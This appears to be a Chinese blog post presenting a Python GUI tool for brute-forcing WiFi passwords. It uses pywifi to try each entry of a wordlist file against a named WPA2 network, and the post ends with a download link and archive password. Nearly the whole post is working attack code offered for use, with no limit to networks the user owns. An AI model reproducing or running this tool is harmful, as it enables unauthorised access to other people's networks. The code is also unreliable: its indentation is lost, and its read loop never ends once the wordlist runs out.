WiFi暴力破解工具

07博客
2021-01-23 / 0 评论 / 357 阅读 / 正在检测是否收录...
from tkinter import *

from pywifi import const
import pywifi
import time

主要步骤:

1、获取第一个无线网卡

2、断开所有的wifi

3、读取密码本

4、设置睡眠时间

测试连接

def wificonnect(str,wifiname):

# 窗口无线对象
wifi = pywifi.PyWiFi()
# 抓取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有的wifi
ifaces.disconnect()
time.sleep(1)
if ifaces.status()==const.IFACE_DISCONNECTED:
    # 创建wifi连接文件
    profile = pywifi.Profile()
    profile.ssid = wifiname
    # wifi的加密算法
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    #wifi的密码
    profile.key = str
    # 网卡的开发
    profile.auth = const.AUTH_ALG_OPEN
    # 加密单元,这里需要写点加密单元否则无法连接
    profile.cipher = const.CIPHER_TYPE_CCMP

    #删除所有的wifi文件
    ifaces.remove_all_network_profiles()
    #设置新的连接文件
    tep_profile = ifaces.add_network_profile(profile)
    # 连接
    ifaces.connect(tep_profile)
    time.sleep(3)

    if ifaces.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False

def readPwd():

# 获取wiif名称
wifiname = entry.get().strip()

path = r'./wifipwd.txt'
file = open(path,'r')
while True:
    try:
        # 读取
        mystr = file.readline().strip()
        # 测试连接
        bool = wificonnect(mystr,wifiname)
        if bool:
            text.insert(END,'密码正确'+mystr)
            text.see(END)
            text.update()
            file.close()
            break
        else:
            text.insert(END,'密码错误'+mystr)
            text.see(END)
            text.update()

    except: continue

创建窗口

root = Tk()
root.title('wifi**')
root.geometry('500x400')

标签

label = Label(root,text='输入要破解的WIFI名称:')

定位

label.grid()

输入控件

entry = Entry(root,font=('微软雅黑',14))
entry.grid(row=0,column=1)

列表控件

text =Listbox(root,font=('微软雅黑',14),width=40,height=10)
text.grid(row=1,columnspan=2)

按钮

button = Button(root,text = '开始破解',width=20,height=2,command=readPwd)
button.grid(row=2,columnspan=2)

显示窗口

root.mainloop()
请输入图片描述

下载地址:https://qglzhyk.lanzous.com/inx0Kko5pxc

密码:52pj

0

评论 (0)

取消